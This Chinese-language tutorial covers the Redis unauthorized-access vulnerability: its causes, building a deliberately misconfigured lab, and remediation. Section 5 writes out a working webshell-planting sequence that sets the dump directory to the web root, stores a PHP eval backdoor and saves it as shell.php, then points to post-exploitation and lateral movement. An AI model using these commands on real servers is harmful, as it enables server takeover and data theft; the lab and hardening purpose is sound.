1.redis未授权访问定义
Redis是一个C语言编写的基于key-value类型的高效数据库。
Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。
同时redis也可以将内存中的数据写入磁盘之中。
2.产生redis未授权访问漏洞的原因
主要是因为配置不当,导致此漏洞的产生,导致恶意数据写入内存或者磁盘之中,造成更大的危害
配置不当原因如下:
redis无密码或者使用弱密码
redis监听在0.0.0.0
redis服务以root账户进行
攻击危害:
redis数据库中的数据泄露或被恶意删除
修改服务器的重要文件,控制redis所在的服务器
配合SSRF进行自动化的蠕虫攻击
3.redis服务的搭建
wget http://download.redis.io/releases/redis-3.2.0.tar.gz //下载redis的压缩包文件
tar -zxvf redis-3.2.0.tar.gz //解压缩
cd redis-3.2.0 //切换目录
make //进行编译
接着生成,一个是redis-server,另一个是redis-cli:
cd src/
make install
cd ..
ls
vi redis.conf
(1)bind 127.0.0.1 前面加上#号 注释掉该行,代表任意机器都可以登录redis
(2)protected-mode设为no 设置为no,以为这关闭安全设置
cd ./src
redis-server /root/redis-3.2.0/redis.conf //加载刚刚修改后的配置文件,来启动redis
netstat -panut //查看redis启动情况
也可以使用nmap进行探测(攻击机可以是本机或者其他机器)
nmap -A -p 6379 --script redis-info 127.0.0.1
redis-cli -h 127.0.0.1 //连接redis服务器
info //测试是否可以执行命令,可以的话就说明存在未授权
4.redis常用命令
redis-cli -h ip -p 6379 -a passwd #连接redis
info #查看redis版本信息等
keys * #列出当前数据库中所有的键
flushall #删除所有数据库中的key(谨慎使用)
flushdb #删除当前数据库中的所有Key
slaveof ip port #设置主从关系
SET key value #设置一个键的值
GET key #获取一个建的值
del x #删除名字为” x “的key内容
5.向redis中写入shell
config set dir /var/www/html/ //切换目录到网站的根目录
set x "\n\n\n<?php phpinfo();?>\n\n\n" //写入恶意代码到内存中(1)
set xxx "\n\n\n<?php eval(@$_REQUEST['a']);?>\n\n\n" //写入恶意代码到内存中(2)
config set dbfilename shell.php //设置在磁盘中生成木马文件的名字
save //将内存之中的数据导出到磁盘文件
在靶机上查看是否导入成功
开启apache2服务
登录服务器查看,说明上传的木马成功,接下来就可以使用冰蝎,进行远程连接,进行提权之类,以及将此服务器作为跳板,进行内网攻击,横向移动,从而获取更多主机权限
6.修复方法
redis.conf中配置requirepass项,增加更加复杂的访问密码
redis.conf中取消bind 127.0.0.1前面的# //进行本地IP绑定,只允许进行本地访问
限定可以连接redis服务器的IP
禁止使用root权限启动redis服务
修改redis默认端口6379